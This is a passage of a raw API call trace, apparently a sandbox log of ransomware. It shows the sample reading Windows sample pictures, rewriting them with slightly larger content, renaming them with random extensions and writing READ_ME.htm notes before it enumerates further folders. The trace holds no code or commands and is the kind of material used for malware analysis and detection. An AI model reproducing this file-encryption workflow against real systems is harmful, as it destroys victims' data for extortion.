lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0163.121] SetErrorMode (uMode=0x1) returned 0x0 [0163.121] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0163.122] GetFileType (hFile=0x1d0) returned 0x1 [0163.122] SetErrorMode (uMode=0x0) returned 0x1 [0163.122] GetFileType (hFile=0x1d0) returned 0x1 [0163.122] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xbea1f [0163.161] ReadFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0, nNumberOfBytesToRead=0xbea1f, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesRead=0x21d418*=0xbea1f, lpOverlapped=0x0) returned 1 [0163.313] CloseHandle (hObject=0x1d0) returned 1 [0163.477] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0163.477] SetErrorMode (uMode=0x1) returned 0x0 [0163.477] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0163.486] GetFileType (hFile=0x1d0) returned 0x1 [0163.486] SetErrorMode (uMode=0x0) returned 0x1 [0163.486] GetFileType (hFile=0x1d0) returned 0x1 [0163.486] WriteFile (in: hFile=0x1d0, lpBuffer=0x1287f5d8*, nNumberOfBytesToWrite=0xbea20, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x1287f5d8*, lpNumberOfBytesWritten=0x21d498*=0xbea20, lpOverlapped=0x0) returned 1 [0163.765] CloseHandle (hObject=0x1d0) returned 1 [0163.776] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0163.776] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.94f43u", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.94f43u", lpFilePart=0x0) returned 0x39 [0163.776] SetErrorMode (uMode=0x1) returned 0x0 [0163.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ce17e60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xbea20)) returned 1 [0163.776] SetErrorMode (uMode=0x0) returned 0x1 [0163.777] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.94f43u" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.94f43u")) returned 1 [0163.778] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0163.778] SetErrorMode (uMode=0x1) returned 0x0 [0163.778] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0163.881] GetFileType (hFile=0x1d0) returned 0x1 [0163.881] SetErrorMode (uMode=0x0) returned 0x1 [0163.881] GetFileType (hFile=0x1d0) returned 0x1 [0163.881] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x8907c [0163.887] ReadFile (in: hFile=0x1d0, lpBuffer=0x1293e028, nNumberOfBytesToRead=0x8907c, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1293e028*, lpNumberOfBytesRead=0x21d418*=0x8907c, lpOverlapped=0x0) returned 1 [0163.916] CloseHandle (hObject=0x1d0) returned 1 [0164.076] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0164.076] SetErrorMode (uMode=0x1) returned 0x0 [0164.076] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0164.083] GetFileType (hFile=0x1d0) returned 0x1 [0164.083] SetErrorMode (uMode=0x0) returned 0x1 [0164.083] GetFileType (hFile=0x1d0) returned 0x1 [0164.083] WriteFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0*, nNumberOfBytesToWrite=0x89080, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesWritten=0x21d498*=0x89080, lpOverlapped=0x0) returned 1 [0164.111] CloseHandle (hObject=0x1d0) returned 1 [0164.119] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0164.120] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.fq7bxl", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.fq7bxl", lpFilePart=0x0) returned 0x3e [0164.120] SetErrorMode (uMode=0x1) returned 0x0 [0164.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5d15dca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x89080)) returned 1 [0164.120] SetErrorMode (uMode=0x0) returned 0x1 [0164.120] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.fq7bxl" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.fq7bxl")) returned 1 [0164.121] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0164.121] SetErrorMode (uMode=0x1) returned 0x0 [0164.121] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0164.122] GetFileType (hFile=0x1d0) returned 0x1 [0164.122] SetErrorMode (uMode=0x0) returned 0x1 [0164.122] GetFileType (hFile=0x1d0) returned 0x1 [0164.122] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xbde6b [0164.132] ReadFile (in: hFile=0x1d0, lpBuffer=0x12849c50, nNumberOfBytesToRead=0xbde6b, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x12849c50*, lpNumberOfBytesRead=0x21d418*=0xbde6b, lpOverlapped=0x0) returned 1 [0165.257] CloseHandle (hObject=0x1d0) returned 1 [0165.388] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0165.388] SetErrorMode (uMode=0x1) returned 0x0 [0165.388] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0165.397] GetFileType (hFile=0x1d0) returned 0x1 [0165.397] SetErrorMode (uMode=0x0) returned 0x1 [0165.397] GetFileType (hFile=0x1d0) returned 0x1 [0165.397] WriteFile (in: hFile=0x1d0, lpBuffer=0x12907ad8*, nNumberOfBytesToWrite=0xbde70, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12907ad8*, lpNumberOfBytesWritten=0x21d498*=0xbde70, lpOverlapped=0x0) returned 1 [0165.420] CloseHandle (hObject=0x1d0) returned 1 [0165.433] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0165.433] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.fa0ws0", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.fa0ws0", lpFilePart=0x0) returned 0x3c [0165.433] SetErrorMode (uMode=0x1) returned 0x0 [0165.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5d457820, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xbde70)) returned 1 [0165.433] SetErrorMode (uMode=0x0) returned 0x1 [0165.434] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.fa0ws0" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.fa0ws0")) returned 1 [0165.435] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0165.435] SetErrorMode (uMode=0x1) returned 0x0 [0165.435] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0165.435] GetFileType (hFile=0x1d0) returned 0x1 [0165.435] SetErrorMode (uMode=0x0) returned 0x1 [0165.435] GetFileType (hFile=0x1d0) returned 0x1 [0165.436] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x97958 [0165.440] ReadFile (in: hFile=0x1d0, lpBuffer=0x129c5978, nNumberOfBytesToRead=0x97958, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x129c5978*, lpNumberOfBytesRead=0x21d418*=0x97958, lpOverlapped=0x0) returned 1 [0165.453] CloseHandle (hObject=0x1d0) returned 1 [0165.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0165.562] SetErrorMode (uMode=0x1) returned 0x0 [0165.562] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0165.569] GetFileType (hFile=0x1d0) returned 0x1 [0165.569] SetErrorMode (uMode=0x0) returned 0x1 [0165.569] GetFileType (hFile=0x1d0) returned 0x1 [0165.569] WriteFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0*, nNumberOfBytesToWrite=0x97960, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesWritten=0x21d498*=0x97960, lpOverlapped=0x0) returned 1 [0165.609] CloseHandle (hObject=0x1d0) returned 1 [0165.619] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0165.620] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.46zt8o", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.46zt8o", lpFilePart=0x0) returned 0x3a [0165.620] SetErrorMode (uMode=0x1) returned 0x0 [0165.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5d6208a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x97960)) returned 1 [0165.620] SetErrorMode (uMode=0x0) returned 0x1 [0165.620] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.46zt8o" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.46zt8o")) returned 1 [0165.621] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0165.621] SetErrorMode (uMode=0x1) returned 0x0 [0165.621] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\READ_ME.htm" (normalized: "c:\\users\\public\\pictures\\sample pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0165.623] GetFileType (hFile=0x1d0) returned 0x1 [0165.623] SetErrorMode (uMode=0x0) returned 0x1 [0165.623] GetFileType (hFile=0x1d0) returned 0x1 [0165.623] WriteFile (in: hFile=0x1d0, lpBuffer=0x28167b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28167b8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0165.624] CloseHandle (hObject=0x1d0) returned 1 [0165.625] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0165.625] SetErrorMode (uMode=0x1) returned 0x0 [0165.625] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\READ_ME.htm" (normalized: "c:\\users\\public\\pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0165.626] GetFileType (hFile=0x1d0) returned 0x1 [0165.626] SetErrorMode (uMode=0x0) returned 0x1 [0165.626] GetFileType (hFile=0x1d0) returned 0x1 [0165.626] WriteFile (in: hFile=0x1d0, lpBuffer=0x281ad18*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x281ad18*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0165.627] CloseHandle (hObject=0x1d0) returned 1 [0165.628] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0165.628] SetErrorMode (uMode=0x1) returned 0x0 [0165.628] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*" (normalized: "c:\\users\\public\\recorded tv\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.629] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0165.629] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.630] SetErrorMode (uMode=0x0) returned 0x1 [0165.630] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0165.630] SetErrorMode (uMode=0x1) returned 0x0 [0165.630] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*" (normalized: "c:\\users\\public\\recorded tv\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.630] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.631] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.631] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0165.631] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0165.631] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.631] SetErrorMode (uMode=0x0) returned 0x1 [0165.632] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0165.632] SetErrorMode (uMode=0x1) returned 0x0 [0165.632] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*" (normalized: "c:\\users\\public\\recorded tv\\sample media\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.632] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, 